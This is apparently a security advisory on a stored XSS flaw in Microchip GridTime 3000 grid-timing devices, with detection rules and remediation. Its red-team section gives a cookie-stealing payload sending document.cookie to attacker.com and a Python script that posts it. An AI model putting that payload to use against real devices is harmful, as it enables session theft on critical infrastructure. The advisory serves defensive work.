CVE-2026-12619

Executive Summary

CVE-2026-12619 is a stored Cross-Site Scripting (XSS) vulnerability affecting Microchip GridTime 3000 devices running firmware versions from 1.0r0.03 through 1.1r0.0. The vulnerability exists due to improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript or HTML into the device's web interface. This can lead to session hijacking, credential theft, or unauthorized actions performed in the context of an authenticated administrator's session. The GridTime 3000 is a precision time synchronization device used in critical infrastructure such as power grids, making this vulnerability particularly dangerous for operational technology (OT) environments. No public proof-of-concept (PoC) or patch is currently available.

CVSS Breakdown & Threat Level

CVSS Score: 0.0 (No official vector assigned) Threat Level: High (based on context and potential impact)

Estimated CVSS Vector (based on typical XSS in embedded devices): CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Rationale:

• Attack Vector (AV): Network – The web interface is accessible over the network.
• Attack Complexity (AC): Low – No special conditions required.
• Privileges Required (PR): None – The attacker does not need authentication to inject the payload (e.g., via a crafted link).
• User Interaction (UI): Required – The victim must click a link or visit a malicious page.
• Scope (S): Changed – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low – Limited data exposure (e.g., session tokens).
• Integrity (I): Low – Limited ability to modify data.
• Availability (A): None – No direct impact on availability.

Risk to OT Environments: Critical – XSS in a grid synchronization device can be leveraged to pivot into deeper OT networks, disrupt time synchronization, or exfiltrate sensitive configuration data.

Deep Dive & Mechanics

The GridTime 3000 web interface fails to sanitize user input before rendering it in HTML pages. An attacker can craft a malicious URL or form submission containing JavaScript code. When an authenticated administrator views the affected page, the script executes in their browser context, bypassing same-origin policy restrictions.

Attack Flow:

1. Reconnaissance: The attacker identifies a GridTime 3000 device via Shodan or other scanning (e.g., default HTTP port 80/443).
2. Payload Injection: The attacker sends a crafted request to a vulnerable endpoint (e.g., configuration parameters, log fields, or device name) containing a JavaScript payload like <script>alert('XSS')</script>.
3. Trigger: An administrator navigates to the page displaying the injected data (e.g., device status or logs).
4. Exploitation: The script executes, potentially stealing session cookies, performing actions on behalf of the admin, or redirecting to a malicious site.

Root Cause: The web application does not encode or escape user-controlled input before embedding it in HTML responses. This is a classic failure of output encoding.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual Example):

# Flask-like example
@app.route('/config/device_name', methods=['POST'])
def set_device_name():
    name = request.form['name']
    # Directly stored and rendered without sanitization
    db.execute("UPDATE device SET name = ?", (name,))
    return render_template('device.html', name=name)

Patched Code (Conceptual Example):

import html

@app.route('/config/device_name', methods=['POST'])
def set_device_name():
    name = request.form['name']
    # Sanitize input using HTML escaping
    safe_name = html.escape(name)
    db.execute("UPDATE device SET name = ?", (safe_name,))
    return render_template('device.html', name=safe_name)

Key Difference: The patched version uses html.escape() to convert special characters (e.g., <, >, &) into their HTML entity equivalents, preventing script execution.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Environment:

• Target: Microchip GridTime 3000 (firmware 1.0r0.03 to 1.1r0.0)
• Attacker: Kali Linux with Burp Suite or custom Python script
• Network: Isolated VLAN with HTTP access to the device

Exploitation Steps:

1. Identify Vulnerable Endpoint: Use Burp Suite to intercept requests and fuzz parameters (e.g., name, description, log_message).
2. Craft Payload: Inject a JavaScript payload that steals cookies:

   <script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>
   

3. Deliver Payload: Send the crafted request via POST or GET to the vulnerable endpoint.
4. Trigger: Wait for an admin to view the affected page (e.g., device status dashboard).
5. Exfiltrate: Receive the stolen cookie on the attacker's server.

Example Python Exploit Script:

import requests

target = "http://192.168.1.100/config/device_name"
payload = "<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>"

data = {"name": payload}
response = requests.post(target, data=data)
print(f"Payload sent. Status: {response.status_code}")

Blue Team (Defensive)

Detection & Response:

• Monitor HTTP Logs: Look for unusual characters in POST/GET parameters (e.g., <script>, onerror=, javascript:).
• Web Application Firewall (WAF): Deploy rules to block common XSS patterns.
• Input Validation: Enforce strict allowlists for device configuration fields (e.g., alphanumeric only).
• Output Encoding: Ensure all user-supplied data is HTML-encoded before rendering.
• Session Security: Use HttpOnly and Secure flags on cookies to prevent JavaScript access.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests containing <script>, onerror, onload, or javascript: in parameters.
• Outbound connections from the GridTime 3000 to unknown IPs on port 80/443 (cookie exfiltration).
• Anomalous user-agent strings (e.g., automated scripts).

Host IOCs:

• Modified configuration files containing JavaScript code.
• Unexpected entries in device logs (e.g., HTML tags in log messages).
• Unusual processes running on the device (if accessible via SSH).

File IOCs:

• Suspicious files in /var/www/ or similar web directories (if accessible).

Detection Engineering

YARA Rule

rule CVE_2026_12619_XSS_GridTime {
    meta:
        description = "Detects XSS payloads targeting Microchip GridTime 3000"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2026-12619"
    strings:
        $xss1 = "<script" ascii wide nocase
        $xss2 = "onerror=" ascii wide nocase
        $xss3 = "onload=" ascii wide nocase
        $xss4 = "javascript:" ascii wide nocase
        $xss5 = "alert(" ascii wide nocase
    condition:
        any of ($xss*)
}

Sigma Rule

title: XSS Payload in GridTime 3000 HTTP Request
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential XSS attacks against Microchip GridTime 3000 web interface
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains:
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in admin scripts (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-12619 XSS Attempt on GridTime 3000"; flow:to_server,established; content:"POST"; http_method; content:"<script"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate Device: Place the GridTime 3000 behind a firewall with strict access controls (allow only trusted IPs).
2. Disable Web Interface: If not required, disable the HTTP/HTTPS management interface.
3. Apply Input Validation: Implement server-side validation to reject non-alphanumeric characters in configuration fields.

Long-Term Fix:

• Vendor Patch: Await an official firmware update from Microchip that properly sanitizes user input.
• Upgrade: Once available, upgrade to a patched version (e.g., > 1.1r0.0).

Workaround:

• Use a reverse proxy (e.g., Nginx) with WAF rules to filter XSS payloads before they reach the device.

Valters IT
Securing Critical Infrastructure, One CVE at a Time.